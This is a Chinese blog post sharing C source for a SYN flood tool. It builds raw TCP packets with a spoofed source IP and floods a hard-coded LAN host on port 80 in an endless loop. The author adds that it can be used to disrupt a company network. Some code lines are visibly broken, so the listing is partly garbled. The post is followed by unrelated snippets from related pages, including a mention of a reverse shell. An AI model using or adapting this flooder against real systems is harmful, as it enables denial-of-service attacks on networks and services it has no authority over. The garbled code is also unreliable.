由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞搞坏,呵呵.
我是在ubuntu8.04下的,需要gcc编译.
修改了,加了广播设置. 向写一个线程的,感觉跑起来好像不太对.
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h> //ip
#include <netinet/tcp.h> //tcp
#include <stdlib.h>
#include <netinet/in.h>
#include <pthread.h>
//发sync包 icmp包
unsigned short ip_sum(unsigned short *addrr2, int len2) {
register unsigned short *addrr = addrr2;
register int len = len2;
register int sum = 0;
unsigned short answer = 0;
while (len > 1) {
sum += *addrr++;
len -= 2;
}
if (len == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) addrr;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
//校验和涵数 ip头
unsigned short ipheadsum(unsigned short *packet, int packlen) {
register unsigned long sum = 0;
while (packlen > 1) {
sum += *(packet++);
packlen -= 2;
}
if (packlen > 0)
sum += *(unsigned char *) packet;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (unsigned short) ~sum;
}
//校验和涵数 tcp头
unsigned short tcpheadsum(unsigned char *iphdr, unsigned short *packet, int packlen) {
unsigned short *buf;
unsigned short res;
buf = malloc(packlen + 12);
if (buf == NULL)
return 0;
memcpy(buf, iphdr + 12,
; //源IP地址和目标IP地址
*(buf + 4) = htons((unsigned short) (*(iphdr + 9)));
*(buf + 5) = htons((unsigned short) packlen);
memcpy(buf + 6, packet, packlen);
res = ipheadsum(buf, packlen + 12);
free(buf);
return res;
}
static char synb[8192];
void sendSync(void) {
int sock, size, bytes_send;
struct sockaddr_in sin;
struct ip *iphead = (struct ip *) synb;
struct tcphdr *tcphead = (struct tcphdr *) (synb + sizeof(struct ip));
for (size = 0; size < 8192; size++) {
synb[size] = 0;
}
printf("create socket\r\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("192.168.0.109"); //被攻击的ip
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &size, sizeof(size)) < 0) {
//IP_HDRINCL 在数据包中包含IP首部 int 这个选项常用于黑客技术中,隐藏自己的IP地址
printf("2");
perror("IP_HDRINCL");
exit(1);
}
const int on = 1;//设定常量,用于打开广播模式
//设定该接口上的广播模式
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) {
printf("2");
perror("IP_HDRINCL");
exit(1);
}
printf("create iphead\r\n");
iphead->ip_v = 4;//版本号4 IP4用4
iphead->ip_hl = 5;//little-endian IP头长度(单位为40位)5位
iphead->ip_tos = 0x00;//服务类型 一般为0
iphead->ip_len = sizeof(iphead) + sizeof(tcphead); //数据总长度 (单位为32位)
iphead->ip_id = 1025;//标识16
iphead->ip_off = 0;//分段偏移
iphead->ip_ttl = 201; //生存时间
iphead->ip_p = IPPROTO_TCP;//传输协议 tcp是6
iphead->ip_sum = 0;//头校验和
inet_aton("192.168.0.157", &iphead->ip_src);//假冒的ip // 源地址 目标地址
inet_aton("192.168.0.109", &iphead->ip_dst);//被攻击的ip
printf("create tcphead\r\n");
tcphead-> source = htons(12345);//假冒的端口 // 源端口
tcphead-> dest = htons(80);//被攻击的端口 // 目的端口
tcphead-> seq = htonl(3 + 64 <<
;// 序号
tcphead-> ack_seq = htons(0);// 确认号 收到的TCP信息的序号+1
tcphead-> syn = 1;//标志 同步
tcphead-> urg = 1;//标志 紧急
tcphead-> window = htons(0x20);//窗口
tcphead-> urg_ptr = htons(0x20);//紧急指针
tcphead-> check = ip_sum((short *) synb, (sizeof(struct ip) + sizeof(struct tcphdr) + 1) & ~1); //校验和
iphead->ip_sum = ip_sum((short *) synb, (4 * iphead->ip_len + sizeof(struct tcphdr) + 1) & ~1);
printf("start send\r\n");
// int i = 10000;
while (1) {
bytes_send = sendto(sock, synb, 4 * iphead->ip_len + sizeof(struct tcphdr), 0, (struct sockaddr *) &sin, sizeof(sin));
// i--;
// usleep(1000*10);//秒
}
printf("end send\r\n");
}
//#include <syswait.h>
//usleep(n) //n微秒
//Sleep(n)//n毫秒
//sleep(n)//n秒
int main(int argc, char *argv[]) {
sendSync();
// pthread_t id1, id2, id3;
// int ret;
// ret = pthread_create(&id1, NULL,(void *) sendSync, NULL);
// if (ret != 0) {
// printf("Create pthread error!\n");
// }
// ret = pthread_create(&id2, NULL,(void *) sendSync, NULL);
// if (ret != 0) {
// printf("Create pthread error!\n");
// }
// ret = pthread_create(&id3, NULL,(void *) sendSync, NULL);
// if (ret != 0) {
// printf("Create pthread error!\n");
// }
// pthread_join(id1, NULL);
// pthread_join(id2, NULL);
// pthread_join(id3, NULL);
}
//gcc -lpthread -o SendMySync SendMySync.c
分享到:
相关推荐
tcpreplay -i eth0 --sync-times my_pcap_file.pcap ``` 5. **统计报告**:输出重放统计信息: ```bash tcpreplay -i eth0 --report-only my_pcap_file.pcap ``` ### 应用场景 1. **网络设备测试**:评估...
本资源提供了用Rust编程语言实现的简单反弹Shell的例子。 Rust是一种系统级编程语言,以其内存安全和高性能而著名,它被广泛用于开发网络服务器、操作系统、游戏引擎等。使用Rust来实现反弹Shell,可以确保代码的...
1. **TCP SYN cookies**:启用`net.ipv4.tcp_syncookies = 1`以防止SYN洪水攻击,这种攻击可能导致服务器耗尽资源,无法处理新连接。 2. **TCP窗口缩放**:通过设置`net.ipv4.tcp_window_scaling = 1`,允许更大的...
- **Flag**:sync - **查看后台首页文件**:将该文件的第二行的所有字符串提交。 - **Flag**:session_start(); #### 五、数字取证 - **任务描述**: - 任务五:数字取证(100分)。此任务考察参赛选手对...
1. 并发模型:Go语言的goroutine和channel提供了轻量级线程和同步机制,使得处理大量并发连接变得简单高效,非常适合网络游戏中的多玩家实时交互场景。 2. 内存管理:Go语言采用垃圾回收机制,开发者无需手动管理...
8. **clean_partial_conns**: 用于防止 SYN 攻击,建议启用该功能(设置为 1),即使 AIX6.1 中的默认值为 0。 9. **extendednetstats**: 这个参数在 AIX6.1 中是受限的,但具体值未给出。如果需要更详细的网络...
使用`sync`命令同步缓冲区到磁盘,然后通过`echo 3 > /proc/sys/vm/drop_caches`清理页缓存,释放内存资源。这种方法用于应对内存紧张的情况,但应谨慎操作,因为它可能会影响系统性能。 2. **查看服务器信息**: ...
3. 修复了FreeBSD虚拟内存子系统中的vm_object_madvise(), vm_object_sync(), contigmalloc()函数的BUG。 三、特殊平台硬件支持 添加了pbio(4)驱动,使得直接访问Intel 8255A可编程外围接口在模式0下成为可能。 四...
VB提供了一些内置的类,如Socket和TcpClient/TcpListener,用于处理TCP/IP协议的网络通信。开发者需要理解如何创建客户端和服务器端的连接,以及如何通过这些连接发送和接收数据。 3. **多线程**:为了实现聊天功能...
- 系统遭受TCP SYN攻击。使用`SHOW IP TRAFFIC`命令确认,并通过定义访问控制列表(Access Control List, ACL)限制非法TCP连接。 - **定义ACL示例**: ```bash IP Access List admin: permit ip 202.103.219.64 ...
NFS(Network File System),网络文件系统,是一种基于TCP/IP协议族的协议,用于在不同的操作系统之间实现文件共享。在Linux/UNIX系统中,NFS被广泛应用于跨设备的数据共享,使得多台机器可以像访问本地文件一样...
你同样可以通过简易的Windows远程图形软件WinBox管理路由器。Web 配置提供了多数常用的功能上。 主要特征: l 完全一至的用户接口 l 运行时配置和监控 l 支持多个连接访问 l 用户策略配置 l 活动历史记录,undo/redo...
例如,合理设置buffer大小、避免内存分配过频、使用sync包中的工具进行同步等,都能提升服务器的性能。 总结,go_chatserver项目展示了Go语言在构建高性能聊天服务器方面的强大能力。通过对goroutines、channels、...
这可能是由于服务器未运行、套接字文件错误或者TCP/IP端口不正确。使用`ps`命令检查mysqld进程是否在运行,并尝试使用不同的连接方式(如指定主机名、端口、套接字文件)连接,以确定问题所在。 4. **Host '...' ...
启用TCPSYN Cookie保护可有效防止SYN Flood攻击。执行以下命令启用该功能: ``` echo 1 > /proc/sys/net/ipv4/tcp_syncookies ``` #### 十三、删除不必要的用户和组 删除默认安装的一些不必要的用户和组,如`adm`...
- **同步关键字**:`sync` 包中的原子操作和互斥锁。 **2.7 小结** - **基础知识总结**:理解 Go 语言的核心特性,为后续 Web 开发打下坚实的基础。 #### 三、Web 基础 **3.1 Web 工作方式** - **客户端/服务器...
- **解释**:常见的威胁包括SQL注入、XSS攻击等,防范措施包括参数化查询、输入验证等。 4. **分布式爬虫设计** - **知识点**:掌握分布式爬虫的设计思路及其关键技术。 - **解释**:分布式爬虫通过将爬取任务...